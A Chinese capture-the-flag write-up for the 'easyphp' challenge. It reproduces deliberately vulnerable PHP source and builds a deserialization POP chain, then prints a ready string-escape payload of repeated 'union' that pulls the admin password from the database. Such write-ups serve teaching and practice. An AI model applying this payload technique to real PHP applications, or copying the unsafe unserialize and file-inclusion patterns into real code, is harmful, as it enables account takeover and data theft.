春秋战“疫”easyphp题解

题目考点:

反序列化POP链构造

反序列化字符串逃逸

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//index.php
<?php
require_once "lib.php";

if(isset($_GET['action'])){
require_once(__DIR__."/".$_GET['action'].".php");
}
else{
if($_SESSION['login']==1){
echo "<script>window.location.href='./index.php?action=update'</script>";
}
else{
echo "<script>window.location.href='./index.php?action=login'</script>";
}
}
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
//lib.php
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
echo safe(serialize(new Info($age,$nickname)));
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){

return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);

$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();

if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//update.php
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();

$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

?>

题目分析

题目获取到flag的条件是需要使用admin登陆,我们需要找到可控点来执行我们的sql语句,首先就是pop链的寻找

值得注意的是dbCtrl类中的login方法,该处可以执行任意sql语句,在满足某些条件时可以返回执行的部分结果

那么我们向上寻找如何可以触发该处函数,注意到Info类中的__call方法,我们可以将CtrlCase赋值为一个dbCtrl类的对象

接着寻找如何触发__call方法,可以看到User类的__toString 方法满足该条件,只需要将nickname赋值为一个Info类的对象即可

触发__toString的方式也很简单,在UpdateHelper类中将sql变量赋值为User类的对象,这样该类在触发destruct方法的时候会自动触发__toString方法

现在理一下pop链的顺序

1
2
3
4
5
->UpdateHelper(__destruct) $sql=new User
->User(__toString) $nickname=new Info $age="select password from user where username=?"
->Info(__call) $CtrlCase=new dbCtrl
->dbCtrl(login)

下面需要寻找一下触发反序列化的位置,通过update.php中的代码可以定位到触发点在User类的update方法

接着跟到getNewinfo方法,该处接收两个参数并且经过一个safe函数的过滤

这里就涉及到了字符串的逃逸,通过safe函数的过滤使前后字符串的长度不同造成逃逸,我们先来生成所需要的反序列化内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php

class User
{
public $id;
public $age;
public $nickname;
public function __construct($age,$nickname){
$this->age="select password,id from user where username=?";
$this->nickname=new Info();
}
public function __toString()
{
$this->nickname->update($this->age);
//return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
$this->CtrlCase=new dbCtrl;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
$this->sql= new user;
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $name;
public $token;
public function __construct(){
$this->name='admin';
$this->token = 'admin';
}

}

$a = new UpdateHelper;

echo serialize($a);

得到

1
O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:5:"token";s:5:"admin";}}}}

getNewInfo方法默认返回的内容

1
O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";N;}

这里我们来控制nickname,那么我们需要逃逸出来的字符串为

1
";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:5:"token";s:5:"admin";}}}}

计算一下他们的长度然后进行填充

1
2
3
4
<?php
$b = 'O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:5:"token";s:5:"admin";}}}}';
$a = '";s:8:"CtrlCase";'.$b;
echo strlen($a);

长度305

这里使用union来进行替换,则需要305union

最后的payload

1
unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:5:"token";s:5:"admin";}}}}

upload.php中传入执行,来查询admin的密码

MD5解一下后拿出密码明文,登陆后就可以拿到flag